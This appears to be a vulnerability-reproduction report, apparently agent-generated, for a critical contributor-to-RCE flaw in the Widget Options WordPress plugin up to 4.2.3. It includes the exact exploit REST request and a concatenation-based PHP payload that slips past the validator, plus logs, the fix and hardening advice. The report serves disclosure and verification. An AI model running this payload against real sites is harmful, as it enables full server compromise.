CVE-2026-54823: Verified Reproduction
CVE-2026-54823: Widget Options WordPress plugin contributor remote code execution
CVE-2026-54823 is verified against the affected target. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00230.
What Is CVE-2026-54823?
CVE-2026-54823 is a critical code-injection vulnerability (CWE-94) in the Widget Options WordPress plugin that lets a low-privileged Contributor account execute arbitrary code on the server. Pruva reproduced it (reproduction REPRO-2026-00230).
CVE-2026-54823 Severity & CVSS Score
CVE-2026-54823 is rated critical severity, with a CVSS base score of 9.9 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
How to Reproduce CVE-2026-54823
pruva-verify REPRO-2026-00230 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00230/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-54823
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
Display Logic PHP expression supplied in extended_widget_opts_block.class.logic via the block-renderer REST endpoint attributes (no save step)
- POST /wp-json/wp/v2/block-renderer/core/archives with JSON body {attributes:{extended_widget_opts_block:{class:{logic:PAYLOAD}}}, context:'edit'} (context=edit in BODY only, NOT in query string) as an authenticated Contributor via WordPress Application Password
How the agent worked
Root Cause and Exploit Chain for CVE-2026-54823
The Widget Options – Advanced Conditional Visibility WordPress plugin
(MarketingFire) versions up to and including 4.2.3 allow an authenticated
Contributor (and any role with edit_posts) to execute arbitrary PHP/server
code remotely. The plugin's Display Logic feature evaluates user-supplied PHP
expressions through widgetopts_safe_eval() (which calls eval()). In 4.2.3 the
only guard for non-administrators is a preview-context short-circuit
(widgetopts_is_widget_or_post_preview()), which inspects $_GET['context'].
The server-side block-rendering REST endpoint
/wp-json/wp/v2/block-renderer/<block> renders attacker-supplied block
attributes with no save step, so the save-time logic stripper never runs; and
because the endpoint accepts context=edit in the JSON body (not the query
string), the plugin's $_GET['context'] guard is bypassed and the contributor's
Display Logic expression reaches eval(). The accompanying blocklist (regex) and
token allowlist are defeated with a variable-variable call built from string
concatenation: $z='s'.'y'.'s'.'t'.'e'.'m'; ${'z'}('CMD'); return true;, which
hides the word system from the regex and places a } before ( (a token the
4.2.3 validator did not block). This yields arbitrary command execution as the
web server user, including dropping an executable PHP file into the webroot.
- Package/component affected:
widget-optionsplugin, fileincludes/extras.php(widgetopts_safe_eval()/widgetopts_validate_expression()/widgetopts_validate_code_with_tokens()), reached viaincludes/widgets/gutenberg/gutenberg-toolbar.php(blockopts_filter_before_display()on therender_blockfilter) when the Display Logic module is active (widgetopts_tabmodule-logic/widgetopts_settings['logic'] == 'activate'). - Affected versions: Widget Options <= 4.2.3 (vulnerable). Fixed in
4.2.4. (Earlier Contributor+ RCE variants were CVE-2025-22630, fixed in
4.1.1, and CVE-2026-2052, partially patched in 4.2.0; CVE-2026-54823 is the
block-renderer/
}-token bypass that remained through 4.2.3.) - Risk level: Critical. A low-privileged authenticated user (Contributor, who cannot publish posts or manage options) obtains remote code execution as the WordPress/web-server user, leading to full site compromise, data exfiltration, and pivoting to the host.
Impact Parity
- Disclosed/claimed maximum impact: Authenticated (Contributor+) Remote Code Execution — "send a crafted request that executes arbitrary code on the server … writes or executes a PHP file."
- Reproduced impact from this run: Full RCE demonstrated end-to-end through
the real WordPress REST API surface. The contributor's single HTTP request
executed
system('<cmd>')on the server, writing a marker file (/tmp/wo_rce_proof.txtcontainingPRUVA_RCE+idoutput,uid=1000) and dropping an executable PHP filewp-content/wo_rce_proof.php(<?php echo 7*6;) into the webroot, which was then fetched over HTTP and returned the computed value42— proving the contributor both executed arbitrary commands and planted executable PHP in the webroot. The identical request against the fixed 4.2.4 build produced no proof artifacts (blocked). - Parity:
full. - Not demonstrated: N/A — code execution parity is achieved (not merely a crash).
Root Cause
Insufficient eval guard (preview-only).
widgetopts_safe_eval()in 4.2.3 only short-circuits to "show without eval" for non-admins inside a preview context:if ( widgetopts_is_widget_or_post_preview() ) { if ( ! current_user_can('manage_options') ) { return true; } }widgetopts_is_widget_or_post_preview()returns true only forREST_REQUEST && $_GET['context'] === 'edit',is_preview(),?preview=true, the Customizer, or Beaver/Elementor edit mode. On any non-preview render path theeval()runs for every user, including contributors and logged-out visitors.Block-renderer REST endpoint bypasses the save-time stripper. The
/wp-json/wp/v2/block-renderer/<block>route renders request-supplied block attributes server-side without persisting the post, so thewp_insert_post_data/rest_pre_insertlogic strippers (which clearextended_widget_opts[_block].class.logicfor non-admins on save) never execute. The contributor's maliciousclass.logictherefore reaches therender_blockfilter →blockopts_filter_before_display()→widgetopts_safe_eval().$_GET['context']vs REST body context mismatch. The block-renderer endpoint requirescontext=edit. Sendingcontext=editin the JSON body satisfies the REST controller (so it returns 200 and renders) while leaving$_GET['context']unset, so the plugin's preview guard in step 1 evaluates to false and eval proceeds for the contributor.Blocklist + token-allowlist bypass.
widgetopts_validate_expression()applies a regex blocklist (e.g./\b(eval|system|exec|...)\b/i) andwidgetopts_validate_code_with_tokens()enforces a function allowlist, blockingT_STRING/T_VARIABLE/T_CONSTANT_ENCAPSED_STRINGand]or)immediately before(. It does not block}before(. The payload$z = 's'.'y'.'s'.'t'.'e'.'m'; ${'z'}('CMD'); return true;:- builds the function name
systemvia concatenation so the literal word never appears (regex\bsystem\bdoes not match); - calls it through
${'z'}(...), i.e. a variable-variable call where the token before(is}— not blocked in 4.2.3; - contains the substring
return, sowidgetopts_safe_eval()skips itsreturn( ... );wrapper and evaluates the raw multi-statement code.
Net effect:
system('CMD')executes as the contributor.This was verified against the real plugin validator extracted from 4.2.3 (
bundle/repro/validator_harness.php): the payload returns['valid' => true, 'message' => 'Expression is safe.']while directsystem('id')andarray_map('s'.'y'..., ...)are correctly rejected.- builds the function name
Fix (4.2.4): includes/extras.php introduces a closed-default trust flag —
if (!current_user_can('manage_options') && !widgetopts_eval_is_trusted()) return true;
at the top of widgetopts_safe_eval() — so non-admins get no eval unless a
callsite wrapped in widgetopts_safe_eval_trusted() flagging DB-backed,
admin-controlled logic. A render_block_data sha-256 allowlist
(widgetopts_get_post_logic_allowlist()), scoped to the block-renderer route via
rest_pre_dispatch (_widgetopts_in_block_renderer), zeroes any
class.logic not actually stored in the post. A rest_request_before_callbacks
scrub net clears legacy logic shapes on all non-admin REST writes. Finally, the
token validator now also blocks } (catching ${$fn}() / Foo::{'m'}()),
T_FUNCTION, and T_FN before (. (See bundle/artifacts/wo-versions/ext-4.2.4
vs ext-4.2.3 diffs.) No single upstream commit hash was published with the
advisory; the fix ships in plugin version 4.2.4.
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh(self-contained; run withPRUVA_ROOT=<bundle> bash bundle/repro/reproduction_steps.sh). - What it does:
- Installs PHP + MariaDB deps via apt, starts a dedicated MariaDB instance on a private socket.
- Downloads WordPress core (7.0), wp-cli, and the plugin zips for 4.2.3 (vulnerable) and 4.2.4 (fixed) from wordpress.org.
- Installs WordPress with
WP_ENVIRONMENT_TYPE=local(enables Application Passwords over HTTP), enables pretty permalinks, and serves it via the PHP built-in server with a router so/wp-json/*routes to WordPress. - Installs the vulnerable plugin 4.2.3, activates the Display Logic module
(
widgetopts_settings['logic'] = 'activate'), creates a Contributor user and an Application Password for it. - As the contributor, sends the exploit:
POST /wp-json/wp/v2/block-renderer/core/archiveswith JSON body{"attributes":{"extended_widget_opts_block":{"class":{"logic":"<PAYLOAD>"}}},"context":"edit"}(no?context=editquery param). The payload writes a marker file and a webroot PHP file viasystem(). - Confirms RCE: fetches the dropped PHP file over HTTP (returns
42) and reads the marker file (containsidoutput). - Repeats the identical request against the fixed 4.2.4 build on a fresh
server (to avoid PHP
require_oncestaleness) and confirms no proof artifacts are produced. - Writes
bundle/repro/runtime_manifest.jsonand exits 0 only if the vulnerable build is exploited AND the fixed build blocks it.
- Expected evidence of reproduction: HTTP 200 on the exploit request; a
dropped
wp-content/wo_rce_proof.phpthat returns42over HTTP; a/tmp/wo_rce_proof.txtcontainingPRUVA_RCE+idoutput; and absence of both on the fixed 4.2.4 control.
Evidence
bundle/repro/runtime_manifest.json— runtime manifest (api_remote, service started, healthcheck passed, target path reached, proof artifacts listed).bundle/repro/validation_verdict.json— structured verdict (confirmed).bundle/repro/wo_rce_proof.php— the PHP file the contributor dropped into the webroot (<?php echo 7*6;).bundle/repro/wo_rce_proof.txt—PRUVA_RCE+idoutput produced bysystem().bundle/logs/exploit_vuln.log— vulnerable-run exploit output (HTTP 200,PHP_PROOF_EXISTS True,TMP_PROOF_EXISTS True,idoutput).bundle/logs/exploit_fixed.log— fixed-run exploit output (HTTP 200,PHP_PROOF_EXISTS False,TMP_PROOF_EXISTS False).bundle/logs/reproduction_steps.log— full phase log.bundle/repro/exploit_request.py— the exploit client (auth + payload + verification).bundle/repro/validator_harness.php— local proof that the payload passes the real 4.2.3widgetopts_validate_expression().bundle/artifacts/wo-versions/ext-4.2.3andext-4.2.4— extracted plugin sources used for the vulnerable/fixed comparison.
Key excerpts (vulnerable run, logs/exploit_vuln.log):
POST http://127.0.0.1:<port>/wp-json/wp/v2/block-renderer/core/archives (context=edit in BODY, none in query string)
HTTP 200
PHP_PROOF_EXISTS True
TMP_PROOF_EXISTS True
TMP_PROOF_CONTENT>>
PRUVA_RCE
uid=1000(vscode) gid=1000(vscode) groups=1000(vscode),969(969)
<<TMP_PROOF_CONTENT
Fixed control (logs/exploit_fixed.log):
HTTP 200
PHP_PROOF_EXISTS False
TMP_PROOF_EXISTS False
Environment: WordPress 7.0, PHP 8.5, MariaDB 11.8, Widget Options 4.2.3 (vulnerable) / 4.2.4 (fixed), PHP built-in server + custom router, contributor authenticated via WordPress Application Password.
Recommendations / Next Steps
- Upgrade immediately to Widget Options >= 4.2.4 (4.2.5 is current).
- Defense in depth: restrict the block-renderer REST endpoint to roles that
actually need server-side block preview; treat any Display Logic/eval feature
as admin-only and never evaluate attacker-supplied expressions on non-admin
render paths. Prefer a non-
evalexpression engine (allowlisted operators only) over a blocklist. - Hardening: disable
system/exec/passthru/shell_exec/proc_openviadisable_functionswhere possible; enforce least privilege for the web server user; use WAF rules to flagextended_widget_opts_blockattributes carrying PHP-like logic in REST payloads. - Testing: add regression tests that (a) a contributor cannot trigger
widgetopts_safe_evalvia the block-renderer endpoint, and (b) the token validator rejects${...}(),Foo::{'...'}, closures, and concatenation-built callables.
Additional Notes
- Idempotency: The script was run twice consecutively, both runs exited 0 with identical results (4.2.3 exploited, 4.2.4 blocked). It cleans up its own MariaDB and PHP-server processes (SIGTERM then SIGKILL) and kills any stale mariadbd bound to its datadir before starting.
- require_once staleness note: The vulnerable and fixed runs are served by
separate fresh PHP built-in server processes; a single long-lived process
would keep 4.2.3's
extras.phploaded viarequire_onceand mask the fixed build's behavior. opcache is off for the CLI SAPI and is not a factor. - Surface match: The claim's
claimed_surfaceisapi_remoteand the reproduction proves the real WordPress REST API path end-to-end (no library harness), sovalidated_surface = api_remoteandclaim_outcome = confirmed. - Auth: Application Passwords are used because regular WordPress passwords are
not accepted over HTTP Basic Auth;
WP_ENVIRONMENT_TYPE=localpermits app passwords over plain HTTP in this isolated reproduction environment. - Bypass minimality: The exploit uses only the contributor's own credentials and a single REST request — no admin interaction, no post publication, no shortcode/block insertion step required by the victim.
CVE-2026-54823 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Artifacts and Evidence for CVE-2026-54823
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-54823
FAQ: CVE-2026-54823
How does the CVE-2026-54823 contributor-to-RCE exploit work?
Which Widget Options versions are affected by CVE-2026-54823?
How severe is CVE-2026-54823?
How can I reproduce CVE-2026-54823?
References for CVE-2026-54823
Authoritative sources for CVE-2026-54823 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.